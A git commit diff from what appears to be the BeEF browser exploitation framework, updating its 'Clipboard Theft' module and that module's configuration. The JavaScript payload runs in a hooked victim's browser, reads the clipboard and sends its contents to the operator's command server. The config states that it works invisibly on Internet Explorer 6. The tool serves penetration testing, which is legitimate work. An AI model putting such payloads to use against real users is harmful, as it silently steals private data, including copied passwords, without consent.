Update clipboard theft module

This commit is contained in:
Brendan Coles
2015-12-13 06:54:48 +00:00
parent ea8d331b47
commit 575bbd6560
2 changed files with 10 additions and 7 deletions

View File

@@ -5,9 +5,12 @@
//
beef.execute(function() {
if (clipboardData.getData("Text") !== null) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboardData.getData("Text"), beef.are.status_success());
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard=clipboardData.getData is null or not supported.", beef.are.status_error());
}
try {
var clipboard = clipboardData.getData("Text");
beef.debug("[Clipboard Theft] Success: Retrieved clipboard contents (" + clipboard.length + ' bytes)');
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboard, beef.are.status_success());
} catch (e) {
beef.debug("[Clipboard Theft] Error: Could not retrieve clipboard contents");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=clipboardData.getData is not supported.", beef.are.status_error());
}
});

View File

@@ -9,7 +9,7 @@ beef:
enable: true
category: "Host"
name: "Get Clipboard"
description: "Retrieves the clipboard contents. This module will work automatically with Internet Explorer 6.x however Internet Explorer 7.x will prompt the user and ask for permission to access the clipboard."
description: "Retrieves the clipboard contents. This module works invisibly with Internet Explorer 6.x however Internet Explorer 7.x - 8.x will prompt the user for permission to access the clipboard."
authors: ["bcoles"]
target:
working:
@@ -19,6 +19,6 @@ beef:
user_notify:
IE:
min_ver: 7
max_ver: 7
max_ver: 8
not_working: ["All"]